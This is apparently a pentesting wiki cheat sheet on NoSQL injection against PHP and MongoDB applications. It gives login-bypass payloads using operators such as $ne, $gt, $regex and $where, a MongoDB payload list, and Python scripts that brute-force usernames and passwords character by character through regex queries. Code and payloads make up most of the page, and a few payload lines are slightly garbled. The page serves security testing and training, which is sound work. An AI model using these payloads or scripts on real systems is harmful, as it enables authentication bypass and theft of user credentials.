# NoSQL injection NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. ## Exploit In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter\[arrName\]=foo._ The exploits are based in adding an **Operator**: ```bash username[$ne]=1$password[$ne]=1 # username[$regex]=^adm$password[$ne]=1 #Check a , could be used to brute-force a parameter username[$regex]=.{25}&pass[$ne]=1 #Use the to find the length of a value username[$eq]=admin$password[$ne]=1 # username[$ne]=admin&pass[$lt]=s #, Brute-force pass[$lt] to find more users username[$ne]=admin&pass[$gt]=s # username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 # (not test and not admin) { $where: "this.credits == this.debits" }#, can be used to execute code ``` ### Basic authentication bypass **Using not equal \($ne\) or greater \($gt\)** ```bash #in URL username[$ne]=toto&password[$ne]=toto username[$exists]=true&password[$exists]=true #in JSON {"username": {"$ne": null}, "password": {"$ne": null} } {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } {"username": {"$gt": undefined}, "password": {"$gt": undefined} } ``` ### **SQL - Mongo** ```text Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 ``` ### Extract **length** information ```bash username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{3} # True if the length equals 1,3... ``` ### Extract **data** information ```text in URL (if length == 3) username[$ne]=toto&password[$regex]=a.{2} username[$ne]=toto&password[$regex]=b.{2} ... username[$ne]=toto&password[$regex]=m.{2} username[$ne]=toto&password[$regex]=md.{1} username[$ne]=toto&password[$regex]=mdp username[$ne]=toto&password[$regex]=m.* username[$ne]=toto&password[$regex]=md.* in JSON {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} ``` ### **SQL - Mongo** ```text /?search=admin' && this.password%00 --> Check if the field password exists /?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password /?search=admin' && this.password && this.password.match(/^a.*$/)%00 /?search=admin' && this.password && this.password.match(/^b.*$/)%00 /?search=admin' && this.password && this.password.match(/^c.*$/)%00 ... /?search=admin' && this.password && this.password.match(/^duvj.*$/)%00 ... /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found ``` ## Blind NoSQL ```python import requests, string alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;" flag = "" for i in range(21): print("[i] Looking for char number "+str(i+1)) for char in alphabet: r = requests.get("http://chall.com?param=^"+flag+char) if ("" in r.text): flag += char print("[+] Flag: "+flag) break ``` ```python import requests import urllib3 import string import urllib urllib3.disable_warnings() username="admin" password="" while True: for c in string.printable: if c not in ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) r = requests.post(u, data = {'ids': payload}, verify = False) if 'OK' in r.text: print("Found one more char : %s" % (password+c)) password += c ``` ## MongoDB Payloads ```text true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1' 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a ' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1}); db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 || 1==1 ' && this.password.match(/.*/)//+%00 ' && this.passwordzz.match(/.*/)//+%00 '%20%26%26%20this.password.match(/.*/)//+%00 '%20%26%26%20this.passwordzz.match(/.*/)//+%00 {$gt: ''} [$ne]=1 ``` ## Tools * [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) ## Brute-force login usernames and passwords from POST login ```python import requests import string url = "http://example.com" headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] def get_password(username): print("Extracting password of "+username) params = {"username":username, "password[$regex]":"", "login": "login"} password = "^" while True: for c in possible_chars: params["password[$regex]"] = password + c + ".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) if int(pr.status_code) == 302: password += c break if c == possible_chars[-1]: print("Found password "+password[1:].replace("\\", "")+" for username "+username) return password[1:].replace("\\", "") def get_usernames(): usernames = [] params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"} for c in possible_chars: username = "^" + c params["username[$regex]"] = username + ".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) if int(pr.status_code) == 302: print("Found username starting with "+c) while True: for c2 in possible_chars: params["username[$regex]"] = username + c2 + ".*" if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302: username += c2 print(username) break if c2 == possible_chars[-1]: print("Found username: "+username[1:]) usernames.append(username[1:]) break return usernames for u in get_usernames(): get_password(u) ``` ## References {% file src="../.gitbook/assets/en-nosql-no-injection-ron-shulman-peleg-bronshtein-1.pdf" %} [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection)